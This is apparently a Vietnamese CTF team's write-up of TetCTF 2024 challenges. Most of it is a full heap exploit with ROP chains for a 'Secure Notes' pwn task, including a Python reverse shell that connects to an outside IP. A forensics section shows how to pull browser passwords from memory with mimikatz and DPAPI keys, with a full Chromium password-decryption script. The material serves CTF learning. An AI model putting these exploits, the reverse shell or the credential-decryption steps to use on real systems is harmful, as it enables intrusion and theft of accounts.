def note_sync(s_c):
    choice(6)
    if s_c == 'c':
        sla(b'note? ', b'c')
    else:
        sla(b'note? ', b's')




def GDB(proc):
    gdb.attach(proc, gdbscript='''
               #b delete_note
               b *(note_sync + 547)
               #b *(add_new_note + 316)
               #b edit_note
               c''')
def GDB_backend(proc):
    gdb.attach(proc, gdbscript='''
               #b NoteBackend_init
               c''')
def GDB_All():
    GDB(p)
    #GDB_backend(pidof('backend'))

# = remote('0', 31339)
#p = remote('139.162.29.93', 31339)    
p = process(['./interface', './backend'])
#print('pidof: ', pidof('backend'))
new_note(b'a', b'a', 1, b'a')
#p.sendline(b'')

#leak heap
edit_note(b'a', b'a', 1, b'a')
list_note()
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
heap = leak << 4*3
print('heap: ', hex(heap))

#leak libc
edit_note(b'a', b'a', 0x500, b'a')
new_note(b'b', b'b', 1, b'b')
#p.sendline(b'')
edit_note(b'a', b'a', 1, b'a')
list_note()
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 0x21b110
print('libc: ', hex(libc.address))

delete_note(b'a', b'a')
delete_note(b'b', b'b')


payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')

note_sync('s')
list_note()
p.recvuntil(b'Author: b\n')
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
stack = leak
print('stack: ', hex(stack))
#new_note(b'a', b'a', 1, b'a')
#delete_note(b'a', b'a')

#

payload = b'\x00'*0x200
payload += p64(0) + p64(0x21) + b'A'*0x10 + p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7 + p64(0x62) + p64(0)*3 + p64(0x10) + p64(0)
payload += p64(stack)
payload += p64(heap + 0x630) + p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0) + p64(heap + 0x400)  + p64(heap + 0x770)*2 + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x50) + p64(0x2)
payload += p64(stack - 0x338) + p64(heap + 0x6e0) + p64(0) + p64(0x61)
payload += p64(0xdeadbeef)
print('len: ', hex(len(payload)))

payload2 = b'hihi'
RET = 0x00000000000baaf9 + libc.address#: xor rax, rax ; ret

rop = ROP(libc)
rop.raw(RET)
rop.system(next(libc.search(b'/bin/sh\x00')))
payload2 = rop.chain()
delete_note(b'a', b'a')
delete_note(b'b', b'b')
new_note(b'a', b'a', 0x400, payload)
new_note(b'b', b'b', 0x50, payload2)
note_sync('c')
edit_note(b'a', b'a', 0x200, b'a')
GDB_All()
note_sync('s')

p.interactive()

pwn03-flag2: Secure Notes

credit: Naox13

Để lấy dcflag2thì chúng ta phải dùngbackendđể đọc flag nên ở đây mình sẽ khai thácbackend

1bug ở trênbackendkhi tạo1note với flagis_encryptvới content ko quá bé thì sau khibackendencrypt thì chunk chứa cipher text sẽ bị overwrite size của chunk trước đó. Mình không khai thác được lỗi này

Tiếp đến ởoptionFETCHkhi fetch all tứcnote_sync('s')trêninterface

DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
    tmp_size = sizeof(struct NoteSerialize);
    if (!tmp1->note_is_encrypt)
    {
        tmp_size += tmp1->note_content_len;
    }
    if (reply_size + tmp_size > SHM_MEM_MAX_SIZE)
    {
        DBG("[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n", reply_size + tmp_size);
        truncated = 1;
        tmp_note2 = tmp1;
        break;
    }
    reply_size += tmp_size;
}

Khi màreply_size + tmp_size > SHM_MEM_MAX_SIZE(0x10000)thì chương trình sẽ dừng và không tăngreply_msgnhưng khi tạomsggửi chointerfacethì duyệt không xót note nào. Vậy chẳng hạn ta có2note vớicontent_len0x4000xfff0nó sẽ xét tới note2cộng thêm0xfff0vào thì sẽ không tăngreply_sizenữa nênreply_sizeở đây vẫn sẽ tầm0x4..(cộng thêmsizeof(struct NoteCommon)) nên ở đây ta lại cóheap overflow

DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
    serialize_p = (NoteSerialize_t)((size_t)reply_msg->msg_content + written_count);

    memcpy(&(serialize_p->common), &(tmp1->common), sizeof(struct NoteCommon));
    written_count += sizeof(struct NoteSerialize);
    DBG("[backend] FETCH: serialize note %s(%s)\n", serialize_p->note_title, serialize_p->note_author);
    if (!tmp1->note_is_encrypt)
    {
        written_count += tmp1->note_content_len;
        memcpy(serialize_p->content, tmp1->note_content, tmp1->note_content_len);
    }
}

interfaceban đầu ta không thể tạocontentchunk quá lớn

printf("How many bytes for content? ");
content_len = read_int();
if(content_len > MAX_CONTENT_LEN){
    content_len = MAX_CONTENT_LEN;
}

MAX_CONTENT_LENở đây là0x1000nên ta có cách giải quyết là dựa trên việc ropchain ở phần trước mìnhmprotectinterfaceđể sửa lại cách hoạt động của hàm cho cái check size đó trở lên rất lớn

Vậy thì giờ việc còn lại là xây dựng heap trênbackendsao cho bugheap overflowvừa hay chỉ overwrite1byte của fieldcontentcủa1note và hạn chế phá heap

Payload của mình nối tiếp ởflag1

delete_note(b'a', b'a')
delete_note(b'b', b'b')

payload = p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x390) + p64(0)*8
new_note(b'a', b'a', 0xf910, b'a')
note_sync('c')
new_note(b'nao', b'nao', 0x600, b'nao')
note_sync('c')
new_note(b'b', b'b', 0xfff0, b'b')
note_sync('c')
payload = p32(0) + p64(0x100) + p64(0)*5 + b'\x00'
new_note(b'c'*0x8 + p64(0xb1), b'c'*0x18, 53, payload)
note_sync('c')
delete_note(b'b', b'b')

Screenshot 2024-01-29 144844

Ban đầu:

Screenshot 2024-01-29 144903

Sau đó:

Screenshot 2024-01-29 144922

Như vậy là ta có thể đưa heap kia vàocontentcủa1note trêninterfacenhưng vìNULLbyte nên mình ko thể dùngoptionList Noteđể đọc

Dựa vào ropchain ban đầu mình sửa luôn hàmRead_notethành arbitrary read luôn

new_read_note = 'sub rsp, 0x80\n'
new_read_note += shellcraft.read(0, interface.symbols['notes'] + 8, 8)
new_read_note += '\n mov rsi, [rsi]\n'
new_read_note += shellcraft.write(1, 'rsi', 0x100)
new_read_note += '\nadd rsp, 0x80'
new_read_note += '  \nret'

Patch lạiinterface

rop_elf.raw(interface.symbols['note_main'] + 122)
rop_libc.mprotect(interface.address + 0x2000, 0x3000, 7)
rop_libc.rsi = interface.symbols['edit_note'] + 525
rop_libc.rdi = 0x0fc5390001ffffb8
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols['add_new_note'] + 621
rop_libc.rdi = 0xc439410001ffffb8
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols['add_new_note'] + 254
rop_libc.rdi = 0x0fd0390001ffffba
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.read(0, interface.symbols['read_note'], 0x200)
rop_libc.raw(RET)

payload += rop_libc.chain() + rop_elf.chain()

Đoạn tiếp sau đây của mình chỉ hoạt động trên local còn khi chạy trên server thì sau khi leak được heap củabackendthì hình nhưbackendcrash nên không thể kết nối được nữa

Tiếp theo dựa vàoheap overflowthì mình overwrite được tcache cho trỏ về1note hiện tại để mình có thể sửacontenttùy ý mà leak. Đoạn này rất mệt vì nó phá heap với struct nhiều làm mãi mới xây dựng được1cái payload chạy được (mình đọc lại cũng chẳng hiểu gì)

Screenshot 2024-01-29 145941

Như ta thấynext_notecontentđều trỏ cùng1chunk nên mình thay đổicontentđể leaklibcstack

Sau thì mình fake tcache lần nữa nma giờ không thể làm đượcheap overflowvới cái kiểureply_msg + tmp_size > 0x10000heap giờ nát quá rồi không chạy được cái đó nữa thì ở đây do có thể control được hoàn toàn1note mình thay đổi control vì mình có thểarbitrary free1chunk bất kì. Mình chỉ cần tìm trước1cái tcache chunk nào đó có1số data mà mình kiểm soát từ trước đó rồi craft fake chunk

Screenshot 2024-01-29 150545

Screenshot 2024-01-29 150553

Lúc đầu cáiaa...kia là1cái string khác mà mình biết ngay là tên của1note mình tạo nên mình biết là mình control được rồi mình set0x151ở kia thôi

new_note(b'a'*8 + p32(0x151), b'fake', 0xc0, fake_chunk)

freerồimallocchunk vừa rồi để overwrite tcache thànhsaved rip - 0x10củamemcpyrồi tạo reverse shell do mình không thể interact trực tiếp vớibackend

PYTHON3 = env_back - 0x298 - 8 - 0x10 + 0xa0
C = PYTHON3 + 1 + len('/bin/python3')
REVERSE_ADDR = C + 1 + len('-c')
REVERSE = b'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("193.161.193.99",26863));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
back_rop = ROP(libc_back)
flag = b'/home/nao/flag\x00r\x00'.ljust(0x18, b'\x00')
back_rop.raw(0)
back_rop.raw(0)
back_rop.raw(0)
back_rop.execve(PYTHON3, PYTHON3 - 0x40, 0)
payload = back_rop.chain()

payload = payload.ljust(0xa0 - 0x40, b'\x00')
payload += p64(PYTHON3)
payload += p64(C)
payload += p64(REVERSE_ADDR)
payload += p64(0)*5
payload += b'/bin/python3\x00' + b'-c\x00' + REVERSE + b'\x00'

Screenshot 2024-01-29 151209

Screenshot 2024-01-29 151224

Tiếc là trên server chạy ko ăn:((

Chạy được trên server sau 10 phút đợi script:

Screenshot 2024-01-30 195938

MISCELLANEOUS

Misc / Forensics - TET & 4N6

credit: Nex0

Chall:mega.nz/file/U20TCS7Z#dXWlXyL4MKVx5J5RahJRp..*
Vì author ra đề troll, chưa check nên tồn tại nhiều unintended solution, ở đây mình sẽ làm theo hướng mà mình nghĩ là intended 🐧*

1. Find the malicious code and tell me the IP and Port C2

Đầu tiên, ta load fileBackup.ad1vàoFTK Imager.

Vì description có nói tới việc đọc rules xong thì máy bị infected. Đầu tiên mình check trongRecentfolder:

Ta thấy file lnk tới 1 file Rules, lướt binary xuống xem ta sẽ có file path nó trỏ đến:

Mình sẽ dump file docx này ra từ memdump mà đề bài đã cho bằngVolatility3:

Và vì là Docx, mình tiếp tục checkRecentfolder của Office:

Như ta thấy, recent opened file có file Rule, ngoài ra nó load cả Template của file docx lên. Tuy nhiên khi mình check trên file docx thì không có dấu hiệu nào là malicious template cả 💀. Vì thế mình tiếp tục check trongTemplate:

Template có enable macro (dotm), khá khả nghi. Mình extract fileNormal.dotmvà kiểm tra macro của nó bằngolevba:

Sau khi đọc qua code, ta tạm hiểu được là nó khởi tạo socket, connect tới c2 server, gọi reverseshell bằng createproc cmd.

Và tại code, ta có luôn IP và Port của C2 Server:

2. What was the first flag you found?

Tại đây, dưới cùng của code, ta thấy có 1 comment được encode base64:

Sau khi decode 5 lần ra thì ta có part1 của flag:

3. After registering an account, I no longer remember anything about my account. Can you help me find and get the second flag?

:v Tác giả chưa check đề nên History vẫn chứa info về flag này, nhưng mình sẽ làm theo 2 cách khác:

  • Cách 1: Dựa vào bài viếtnày. Đầu tiên mình extract fileLogin Datara và view bằng tool xem sql online. Ta thấy được 1 account pastebin được lưu pass có user name làtecij23311

    Sau đó mình dump proc của chrome ra, sau đó dùng combo tối thượngstringgreptương tự cách họ demo trong đó:

    Ta có được password làtecij23311Pass. Login pastebin bằng tài khoản đó và ta có được part2.

  • Cách 2: Painful, nhưng nghe chắc chắn hơn. Mình sử dụng công cụMemprocFS. Ở đây mình load thêm pluginpym_regscretsvào tool:

    Sau đó load mem vào:

    Check kết quả parse được từ plugin chúng ta thêm vào, mình lấy được windows default password:

    Sau khi có lsa pass, mình sử dụngmimikatzđể lấy masterkey:

    Tiếp theo, tại fileLocal State, ta lấy trườngencrypted_keyra decode base64 và xóa phầnDPAPIở đầu file đi:

    Đây là key dùng để encrypt password ở fileLogin Data, nó đã được mã hóa bởi masterkey. Ở trên ta đã có được masterkey, mình dùngmimikatzcùng masterkey này để decrypt ra aes key cần tìm:

    Ta có được aeskey là:aa b6 83 b4 8a f4 52 76 f7 44 48 5a 2c 95 ba 15 2f c3 ae 2a ff 00 5b 1d d7 ba 19 b1 e2 f0 77 29

    Cuối cùng mình sử dụng script sau để decrypt password trongLogin Data:

      # Decrypt Chromium Passwords
      import argparse
      import base64
      import os
      import re
      import shutil
      import sqlite3
      import sys
      from Cryptodome.Cipher import AES
    
      def decrypt_payload(cipher, payload):
          return cipher.decrypt(payload)
    
      def generate_cipher(aes_key, iv):
          return AES.new(aes_key, AES.MODE_GCM, iv)
    
      def decrypt_password(ciphertext, secret_key):
          try:
              initialisation_vector = ciphertext[3:15]
              encrypted_password = ciphertext[15:-16]
              cipher = generate_cipher(secret_key, initialisation_vector)
              decrypted_pass = decrypt_payload(cipher, encrypted_password)
              decrypted_pass = decrypted_pass.decode()  
              return decrypted_pass
          except Exception as e:
              print("%s"%str(e))
              print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
              return ""
    
      def get_db_connection(chromium_path_login_db):
          try:
              shutil.copy2(chromium_path_login_db, "Loginvault.db") 
              return sqlite3.connect("Loginvault.db")
          except Exception as e:
              print("%s"%str(e))
              print("[ERR] Chrome database cannot be found")
              return None
    
      # Main Function
      def main():
          chromium_path = os.path.normpath('Login Data')
          secret_key = bytes.fromhex('aab683b48af45276f744485a2c95ba152fc3ae2aff005b1dd7ba19b1e2f07729')
    
          try:
              chromium_path_login_db = chromium_path
              conn = get_db_connection(chromium_path_login_db)
              if(secret_key and conn):
                  cursor = conn.cursor()
                  cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
                  for index,login in enumerate(cursor.fetchall()):
                      url = login[0]
                      username = login[1]
                      ciphertext = login[2]
                      decrypted_password = decrypt_password(ciphertext, secret_key)
                      if (decrypted_password != ""):
                          print("Sequence: %d"%(index))
                          print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
                          print("*"*50)
                  # Close database connection
                  cursor.close()
                  conn.close()
                  # Delete temp login db
                  os.remove("Loginvault.db")
          except Exception as e:
              print("[ERR] %s"%str(e))
    
      if __name__ == '__main__':
          main()
    

    Và ta có được password:

    Tiếp tới là login như cách 1 và lấy part 2 thôi.

    Flag:TetCTF{172.20.25.15:4444_VBA-M4cR0_R3c0v3rry_34sy_R1ght?}

Lời kết

Cảm ơn mọi người đã đọc đến đây, cũng xin cảm ơn những nỗ lực không biết mệt mỏi của các anh chị em trong CLB, năm 2024 bọn mình sẽ cố gắng đóng góp nhiều hơn nữa cho cộng đồng ATTT của Việt Nam nói chung và của sinh viên nói riêng.

Bonus thêm những quả ảnh nhộn nhịp khi làm bài hehe 😆

Image

Image

Image

Image